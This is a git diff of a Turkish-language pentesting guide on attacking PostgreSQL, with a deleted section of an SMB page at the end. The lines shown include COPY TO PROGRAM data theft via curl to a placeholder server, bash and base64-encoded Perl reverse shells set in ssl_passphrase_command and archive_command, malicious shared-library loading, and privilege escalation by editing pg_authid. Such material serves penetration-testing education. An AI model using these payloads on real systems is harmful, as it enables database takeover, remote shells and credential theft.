[**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun (adlandırılan **`pg_read_server_files`**) ve **süper kullanıcıların** herhangi bir yol üzerinde **`COPY`** yöntemini kullanabilirler (bakınız `convert_and_check_filename` `genfile.c` içinde): ```sql # Read file CREATE TABLE demo(t text); @@ -228,7 +227,7 @@ SELECT * FROM demo; > > [**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole) -**Dosya okumak veya bir dizini listelemek için** kullanılabilecek **diğer postgres fonksiyonları** vardır. Sadece **süper kullanıcılar** ve **açık izinlere sahip kullanıcılar** bunları kullanabilir: +**Dosya okumak veya bir dizini listelemek için kullanılabilecek diğer postgres fonksiyonları** vardır. Sadece **süper kullanıcılar** ve **açık izinlere sahip kullanıcılar** bunları kullanabilir: ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres @@ -269,7 +268,7 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju > > [**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole) -COPY'nin yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü kullanıyor olsanız bile **tek satırlık bir komut göndermeniz gerekir.**\ +COPY'nin yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle base64 yükü kullanıyor olsanız bile **tek satırlık bir komut göndermeniz gerekir.**\ Bu tekniğin çok önemli bir sınırlaması, **`copy`'nin bazı ikili değerleri değiştirdiği için ikili dosyaları yazmak için kullanılamamasıdır.** ### **İkili dosya yükleme** @@ -282,9 +281,9 @@ Ancak, **büyük ikili dosyaları yüklemek için başka teknikler vardır:** -### Yerel dosya yazma yoluyla PostgreSQL tablo verilerini güncelleme +### Yerel dosya yazımı ile PostgreSQL tablo verilerini güncelleme -PostgreSQL sunucu dosyalarını okuma ve yazma yetkiniz varsa, **ilişkili dosya düğümünü** [PostgreSQL veri dizininde](https://www.postgresql.org/docs/8.1/storage.html) güncelleyebilirsiniz. **Bu teknik hakkında daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). +PostgreSQL sunucu dosyalarını okuma ve yazma yetkiniz varsa, **ilişkili dosya düğümünü** [PostgreSQL veri dizininde](https://www.postgresql.org/docs/8.1/storage.html) değiştirerek sunucudaki herhangi bir tabloyu güncelleyebilirsiniz. **Bu teknik hakkında daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). Gerekli adımlar: @@ -294,9 +293,9 @@ Gerekli adımlar: SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` -**Not:** Eğer ayarlardan mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu ile PostgreSQL'in ana sürümünü sorgulayabilir ve yolu brute-force ile denemeye çalışabilirsiniz. PostgreSQL'in Unix kurulumlarındaki yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir. +**Not:** Eğer ayarlardan mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu ile PostgreSQL ana sürümünü sorgulayabilir ve yolu brute-force ile bulmaya çalışabilirsiniz. PostgreSQL'in Unix kurulumlarındaki yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir. -2. Hedef tablo ile ilişkili dosya düğümüne göre bir göreli yol elde edin +2. Hedef tablo ile ilişkili dosya düğümüne göre göreli bir yol elde edin ```sql SELECT pg_relation_filepath('{TABLE_NAME}') @@ -310,7 +309,7 @@ Bu sorgu `base/3/1337` gibi bir şey döndürmelidir. Diskteki tam yol `$DATA_DI SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` -4. Hedef tablo ile ilişkili veri türünü alın +4. Hedef tablo ile ilişkili veri tipini alın ```sql SELECT @@ -332,7 +331,7 @@ ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = '{TABLE_NAME}'; ``` -5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) kullanarak [dosya düğümünü düzenleyin](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarlayın. +5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) kullanarak [dosya düğümünü](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users) düzenleyin; tam izinler için tüm `rol*` boolean bayraklarını 1 olarak ayarlayın. ```bash python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} @@ -361,7 +360,7 @@ Ayrıca `pg_authid` tablosunu düzenleyerek süperadmin olabilirsiniz. **Bakın ### **Program için RCE** -[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren, yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri RCE için copy kullanabilir (sızdırma örneği: +[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren, yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri RCE için copy kullanabilir (sızdırma ile örnek: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` @@ -406,10 +405,10 @@ Bu güvenlik açığı hakkında daha fazla bilgi [**burada**](https://medium.co ### PostgreSQL yapılandırma dosyası RCE -> [!NOTE] +> [!TIP] > Aşağıdaki RCE vektörleri, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle yararlıdır. -PostgreSQL'in **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak, dosya sisteminde dosyalar yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.** +PostgreSQL'ün **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak, dosya sisteminde dosyalar yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.** ![](<../images/image (322).png>) @@ -417,38 +416,38 @@ PostgreSQL'in **yapılandırma dosyası**, veritabanını çalıştıran **postg Bu teknik hakkında daha fazla bilgi [burada](https://pulsesecurity.co.nz/articles/postgres-sqli). -Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç özellikler vardır: +Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç nitelikler vardır: - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolu -- `ssl_passphrase_command = ''` Özel dosya şifreyle korunuyorsa (şifreli) postgresql **bu özellikte belirtilen komutu çalıştıracaktır**. -- `ssl_passphrase_command_supports_reload = off` **Eğer** bu özellik **açık** ise, şifreyle korunan anahtar için **çalıştırılan komut**, `pg_reload_conf()` **çalıştırıldığında** **çalıştırılacaktır**. +- `ssl_passphrase_command = ''` Özel dosya şifreyle korunuyorsa (şifrelenmiş) postgresql **bu nitelikte belirtilen komutu çalıştıracaktır**. +- `ssl_passphrase_command_supports_reload = off` **Eğer** bu nitelik **açık** ise, anahtar şifreyle korunuyorsa **çalıştırılacak** **komut**, `pg_reload_conf()` **çalıştırıldığında** **çalıştırılacaktır**. -Sonra, bir saldırganın yapması gerekenler: +O zaman bir saldırganın yapması gerekenler: 1. Sunucudan **özel anahtarı dökme** 2. İndirilen özel anahtarı **şifreleme**: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Üzerine yazma** 4. Mevcut postgresql **yapılandırmasını dökme** -5. **Yapılandırmayı** belirtilen özellikler ile üzerine yazma: +5. **Yapılandırmayı** belirtilen niteliklerin yapılandırmasıyla **üzerine yazma**: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. `pg_reload_conf()`'ü çalıştırma -Bunu test ederken, bunun yalnızca **özel anahtar dosyasının 640 ayrıcalığı varsa**, **root** tarafından sahiplenilmişse ve **ssl-cert veya postgres grubuna** aitse (yani postgres kullanıcısının okuyabilmesi için) ve _/var/lib/postgresql/12/main_ dizininde yer alıyorsa çalışacağını fark ettim. +Bunu test ederken, bunun yalnızca **özel anahtar dosyasının 640 izinlerine sahip olması**, **root** tarafından sahip olunması ve **ssl-cert veya postgres grubuna** ait olması (böylece postgres kullanıcısının okuyabilmesi) ve _/var/lib/postgresql/12/main_ dizininde yer alması durumunda çalışacağını fark ettim. #### **archive_command ile RCE** -**Daha fazla** [**bilgi için bu yapılandırma ve WAL hakkında buraya**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.** +**Daha fazla** [**bilgi bu yapılandırma ve WAL hakkında burada**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.** -Yapılandırma dosyasında istismar edilebilecek bir diğer özellik `archive_command`'dır. +Yapılandırma dosyasında istismar edilebilecek bir diğer nitelik `archive_command`'dır. -Bunun çalışması için, `archive_mode` ayarının `'on'` veya `'always'` olması gerekir. Eğer bu doğruysa, o zaman `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalıştırılmasını zorlayabiliriz. +Bunun çalışması için, `archive_mode` ayarının `'on'` veya `'always'` olması gerekir. Eğer bu doğruysa, o zaman `archive_command` içindeki komutu üzerine yazabilir ve WAL (ön yazma günlüğü) işlemleri aracılığıyla çalıştırılmasını zorlayabiliriz. Genel adımlar şunlardır: -1. Arşiv modunun etkin olup olmadığını kontrol etme: `SELECT current_setting('archive_mode')` -2. `archive_command`'ı yükle ile üzerine yazma. Örneğin, bir ters kabuk: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` +1. Arşiv modunun etkin olup olmadığını kontrol et: `SELECT current_setting('archive_mode')` +2. `archive_command`'ı yükle ile üzerine yaz. Örneğin, bir ters shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. Yapılandırmayı yeniden yükle: `SELECT pg_reload_conf()` 4. Arşiv komutunu çağıracak WAL işleminin çalışmasını zorla: `SELECT pg_switch_wal()` veya bazı Postgres sürümleri için `SELECT pg_switch_xlog()` @@ -456,9 +455,9 @@ Genel adımlar şunlardır: Bu teknik hakkında daha fazla bilgi [burada](https://adeadfed.com/posts/postgresql-select-only-rce/). -Bu saldırı vektörü aşağıdaki yapılandırma değişkenlerinden yararlanmaktadır: +Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden yararlanmaktadır: -- `session_preload_libraries` -- istemci bağlantısında PostgreSQL sunucusu tarafından yüklenecek kütüphaneler. +- `session_preload_libraries` -- PostgreSQL sunucusu tarafından istemci bağlantısında yüklenecek kütüphaneler. - `dynamic_library_path` -- PostgreSQL sunucusunun kütüphaneleri arayacağı dizinlerin listesi. `dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısı tarafından yazılabilir bir dizine, örneğin `/tmp/` dizinine ayarlayabiliriz ve oraya kötü niyetli bir `.so` nesnesi yükleyebiliriz. Sonra, PostgreSQL sunucusunu, `session_preload_libraries` değişkenine dahil ederek yeni yüklediğimiz kütüphaneyi yüklemeye zorlayacağız. @@ -468,7 +467,7 @@ Saldırı adımları şunlardır: 1. Orijinal `postgresql.conf` dosyasını indirin 2. `/tmp/` dizinini `dynamic_library_path` değerine dahil edin, örneğin `dynamic_library_path = '/tmp:$libdir'` 3. Kötü niyetli kütüphane adını `session_preload_libraries` değerine dahil edin, örneğin `session_preload_libraries = 'payload.so'` -4. `SELECT version()` sorgusu ile ana PostgreSQL sürümünü kontrol edin +4. `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü kontrol edin 5. Kötü niyetli kütüphane kodunu doğru PostgreSQL geliştirme paketi ile derleyin Örnek kod: ```c @@ -519,7 +518,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so 6. Adım 2-3'te oluşturulan kötü niyetli `postgresql.conf` dosyasını yükleyin ve orijinal dosyanın üzerine yazın 7. Adım 5'teki `payload.so` dosyasını `/tmp` dizinine yükleyin 8. Sunucu yapılandırmasını sunucuyu yeniden başlatarak veya `SELECT pg_reload_conf()` sorgusunu çağırarak yeniden yükleyin -9. Bir sonraki DB bağlantısında, ters kabuk bağlantısını alacaksınız. +9. Bir sonraki DB bağlantısında, ters shell bağlantısını alacaksınız. ## **Postgres Privesc** @@ -529,7 +528,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so [**Belgeler**](https://www.postgresql.org/docs/13/sql-grant.html)'e göre: _**`CREATEROLE`** ayrıcalığına sahip roller, **süper kullanıcı** olmayan herhangi bir rolün üyeliğini **verebilir veya geri alabilir**._ -Yani, eğer **`CREATEROLE`** izniniz varsa, diğer **roller** (süper kullanıcı olmayan) için kendinize erişim verebilir ve dosyaları okuma & yazma ve komutları çalıştırma seçeneği elde edebilirsiniz: +Bu nedenle, eğer **`CREATEROLE`** izniniz varsa, diğer **roller** (süper kullanıcı olmayan) için kendinize erişim verebilir ve dosyaları okuma & yazma ve komutları çalıştırma seçeneği elde edebilirsiniz: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -540,7 +539,7 @@ GRANT pg_write_server_files TO username; ``` #### Şifreyi Değiştir -Bu role sahip kullanıcılar ayrıca diğer **süper kullanıcı olmayan** kullanıcıların **şifrelerini** **değiştirebilir**: +Bu role sahip kullanıcılar, diğer **süper kullanıcı olmayan** kullanıcıların **şifrelerini** de **değiştirebilir**: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; @@ -551,7 +550,7 @@ ALTER USER user_name WITH PASSWORD 'new_password'; ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` -> [!NOTE] +> [!TIP] > Bu genellikle **`pg_hba.conf`** dosyasındaki aşağıdaki satırlar nedeniyle mümkündür: > > ```bash @@ -565,13 +564,13 @@ COPY (select '') to PROGRAM 'psql -U -c "ALTER USER ### **ALTER TABLE privesc** -[**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) kullanıcılara verilen ALTER TABLE ayrıcalığını kötüye kullanarak Postgres GCP'de **privesc**'in nasıl mümkün olduğu açıklanmaktadır. +[**bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) kullanıcılara verilen ALTER TABLE ayrıcalığını kötüye kullanarak Postgres GCP'de **privesc**'in nasıl mümkün olduğu açıklanmaktadır. **Başka bir kullanıcıyı bir tablonun sahibi yapmak** istediğinizde, bunu engelleyen bir **hata** almanız gerekir, ancak görünüşe göre GCP bu **seçeneği süper kullanıcı olmayan postgres kullanıcısına** vermiştir:
-Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutları bir **indeks fonksiyonu** olan bir **tabloda** çalıştırıldığında, **fonksiyonun** **tablo** **sahibinin izinleriyle** komutun bir parçası olarak **çağrıldığını** göz önünde bulundurarak birleştirirsek, bir fonksiyonla bir indeks oluşturmak ve o tablo üzerinde bir **süper kullanıcıya** sahiplik izinleri vermek mümkündür. Ardından, sahibinin ayrıcalıklarını kullanarak komutları çalıştırabilecek kötü niyetli fonksiyonla tablo üzerinde ANALYZE çalıştırılabilir. +Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutları bir **indeks fonksiyonu** olan bir **tabloda** çalıştırıldığında, **fonksiyonun** **tablo** **sahibinin izinleriyle** komutun bir parçası olarak **çağrıldığını** göz önünde bulundurarak birleştirirsek, bir fonksiyonla bir indeks oluşturmak ve o tablo üzerinde bir **süper kullanıcıya** sahiplik izinleri vermek mümkündür. Ardından, sahibin ayrıcalıklarını kullanarak komutları çalıştırabilecek kötü niyetli fonksiyonla tablonun ANALYZE'ını çalıştırabilirsiniz. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -582,7 +581,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION); 1. Yeni bir tablo oluşturarak başlayın. 2. İndeks fonksiyonu için veri sağlamak amacıyla tabloya bazı alakasız içerikler ekleyin. 3. Yetkisiz komutların çalıştırılmasına izin veren bir kod yürütme yükü içeren kötü niyetli bir indeks fonksiyonu geliştirin. -4. Tablo sahibini "cloudsqladmin" olarak DEĞİŞTİRİN; bu, Cloud SQL'in veritabanını yönetmek ve bakımını yapmak için kullandığı GCP'nin süper kullanıcı rolüdür. +4. Tablo sahibini "cloudsqladmin" olarak DEĞİŞTİRİN; bu, Cloud SQL'in veritabanını yönetmek ve sürdürmek için kullandığı GCP'nin süper kullanıcı rolüdür. 5. Tablo üzerinde bir ANALİZ işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunun tablo sahibinin kullanıcı bağlamına, yani "cloudsqladmin" olarak geçmesini zorlar. Sonuç olarak, kötü niyetli indeks fonksiyonu "cloudsqladmin" izinleriyle çağrılır ve böylece daha önce yetkisiz olan shell komutunun çalıştırılmasına olanak tanır. PostgreSQL'de bu akış şöyle görünür: @@ -606,7 +605,7 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ANALYZE public.temp_table; ``` -Sonra, `shell_commands_results` tablosu yürütülen kodun çıktısını içerecektir: +Daha sonra, `shell_commands_results` tablosu yürütülen kodun çıktısını içerecektir: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` @@ -631,7 +630,7 @@ RETURNS (result TEXT); > CREATE EXTENSION dblink; > ``` -Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak bu kullanıcının dış bir IP'den giriş yapmasına izin verilmiyorsa, o kullanıcı olarak sorguları çalıştırmak için aşağıdaki fonksiyonu kullanabilirsiniz: +Eğer daha fazla yetkiye sahip bir kullanıcının şifresine sahipseniz, ancak bu kullanıcının dış bir IP'den giriş yapmasına izin verilmiyorsa, o kullanıcı olarak sorguları çalıştırmak için aşağıdaki fonksiyonu kullanabilirsiniz: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser @@ -645,7 +644,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Özel tanımlı fonksiyon ile** SECURITY DEFINER -[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterlar IBM tarafından sağlanan bir postgres örneği içinde privesc yapmayı başardılar, çünkü **SECURITY DEFINER bayrağına sahip bu fonksiyonu buldular**: +[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterlar IBM tarafından sağlanan bir postgres örneği içinde privesc gerçekleştirebildiler, çünkü **SECURITY DEFINER bayrağına sahip bu fonksiyonu buldular**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
 RETURNS text
@@ -666,7 +665,7 @@ PERFORM dblink_disconnect();
 …
 
-[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER olan bir fonksiyon** **onu sahip olan kullanıcının** ayrıcalıklarıyla çalıştırılır. Bu nedenle, eğer fonksiyon **SQL Injection'a karşı savunmasızsa** veya **saldırgan tarafından kontrol edilen parametrelerle bazı ayrıcalıklı işlemler yapıyorsa**, bu durum **postgres içinde ayrıcalıkları artırmak için** kötüye kullanılabilir. +[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER olan bir fonksiyon**, **onu sahip olan kullanıcının** ayrıcalıklarıyla çalıştırılır. Bu nedenle, eğer fonksiyon **SQL Injection'a karşı savunmasızsa** veya **saldırgan tarafından kontrol edilen parametrelerle bazı ayrıcalıklı işlemler yapıyorsa**, bu durum **postgres içinde ayrıcalıkları artırmak için** kötüye kullanılabilir. Önceki kodun 4. satırında fonksiyonun **SECURITY DEFINER** bayrağına sahip olduğunu görebilirsiniz. ```sql @@ -678,10 +677,10 @@ Ve sonra **komutları çalıştırın**:
-### PL/pgSQL ile Parola Kırma +### PL/pgSQL ile Parola Kaba Kuvveti -**PL/pgSQL**, SQL'e kıyasla daha fazla prosedürel kontrol sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanma imkanı sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dili** kullanılarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlama ve otomasyonu için daha kapsamlı ve çok yönlü bir yaklaşım sağlar.\ -**Bu dili, PostgreSQL'den kullanıcı kimlik bilgilerini brute-force yapmasını istemek için kötüye kullanabilirsiniz.** +**PL/pgSQL**, SQL'e kıyasla daha fazla prosedürel kontrol sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanılmasına olanak tanır. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dili** kullanılarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlama ve otomasyonu için daha kapsamlı ve çok yönlü bir yaklaşım sağlar.\ +**Bu dili, PostgreSQL'den kullanıcı kimlik bilgilerini kaba kuvvetle kırmasını istemek için kötüye kullanabilirsiniz.** {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md @@ -689,7 +688,7 @@ Ve sonra **komutları çalıştırın**: ### İç PostgreSQL Tablolarını Üzerine Yazarak Privesc -> [!NOTE] +> [!TIP] > Aşağıdaki privesc vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebilmesi nedeniyle, kısıtlı SQLi bağlamlarında özellikle yararlıdır. Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, `pg_authid` tablosuyla ilişkili PostgreSQL disk üzerindeki filenode'u üzerine yazarak **süper kullanıcı** olabilirsiniz. @@ -699,7 +698,7 @@ Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, `pg_authid` Saldırı adımları şunlardır: 1. PostgreSQL veri dizinini elde edin -2. `pg_authid` tablosuyla ilişkili filenode için bir göreli yol elde edin +2. `pg_authid` tablosuyla ilişkili filenode için göreli bir yol elde edin 3. `lo_*` fonksiyonları aracılığıyla filenode'u indirin 4. `pg_authid` tablosuyla ilişkili veri tipini alın 5. [PostgreSQL Filenode Editörü](https://github.com/adeadfed/postgresql-filenode-editor) kullanarak [filenode'u düzenleyin](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); tam izinler için tüm `rol*` boolean bayraklarını 1 olarak ayarlayın. @@ -717,7 +716,7 @@ msf> use exploit/windows/postgres/postgres_payload ``` ### logging -_**postgresql.conf**_ dosyasının içinde postgresql günlüklerini etkinleştirmek için şunu değiştirebilirsiniz: +Inside the _**postgresql.conf**_ file you can enable postgresql logs changing: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' @@ -731,7 +730,7 @@ Sonra, **servisi yeniden başlatın**. ### pgadmin [pgadmin](https://www.pgadmin.org), PostgreSQL için bir yönetim ve geliştirme platformudur.\ -_**pgadmin4.db**_ dosyasının içinde **şifreleri** bulabilirsiniz.\ +_**pgadmin4.db**_ dosyasının içinde **şifreler** bulabilirsiniz.\ Bunları, script içindeki _**decrypt**_ fonksiyonunu kullanarak çözebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" @@ -741,7 +740,7 @@ string pgadmin4.db ``` ### pg_hba -PostgreSQL'de istemci kimlik doğrulaması, **pg_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilmektedir. Bu dosya, her biri bir bağlantı türü, istemci IP adresi aralığı (varsa), veritabanı adı, kullanıcı adı ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adı ile eşleşen ilk kayıt kimlik doğrulama için kullanılır. Kimlik doğrulama başarısız olursa geri dönüş veya yedek yoktur. Hiçbir kayıt eşleşmezse, erişim reddedilir. +PostgreSQL'de istemci kimlik doğrulaması, **pg_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilmektedir. Bu dosya, her biri bir bağlantı türü, istemci IP adresi aralığı (varsa), veritabanı adı, kullanıcı adı ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, talep edilen veritabanı ve kullanıcı adı ile eşleşen ilk kayıt kimlik doğrulama için kullanılır. Kimlik doğrulama başarısız olursa geri dönüş veya yedek yoktur. Hiçbir kayıt eşleşmezse, erişim reddedilir. pg_hba.conf'de mevcut olan şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dır. Bu yöntemler, şifrenin iletilme şekli açısından farklılık gösterir: MD5-hashlenmiş, crypt-şifrelenmiş veya düz metin. Crypt yönteminin, pg_authid'de şifrelenmiş şifrelerle kullanılamayacağını belirtmek önemlidir. diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md deleted file mode 100644 index a2345cd4c..000000000 --- a/src/network-services-pentesting/pentesting-smb.md +++ /dev/null @@ -1,532 +0,0 @@ -# 139,445 - Pentesting SMB - -{{#include ../banners/hacktricks-training.md}} - -## **Port 139** - -_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olan ve uzunluğu 16 karaktere kadar çıkabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır. -``` -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -``` -## Port 445 - -Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, '**Server Message Blocks**' anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Uygulama katmanı ağ protokolü olarak, SMB/CIFS esasen dosyalara, yazıcılara, seri portlara paylaşımlı erişimi sağlamak ve bir ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır. - -Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimi ortadan kaldırdığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Tersine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir. -``` -445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) -``` -### SMB - -**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ve yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlayarak, Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazların, daha eski sürümleri çalıştıranlarla sorunsuz bir şekilde etkileşimde bulunmasına olanak tanır. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden 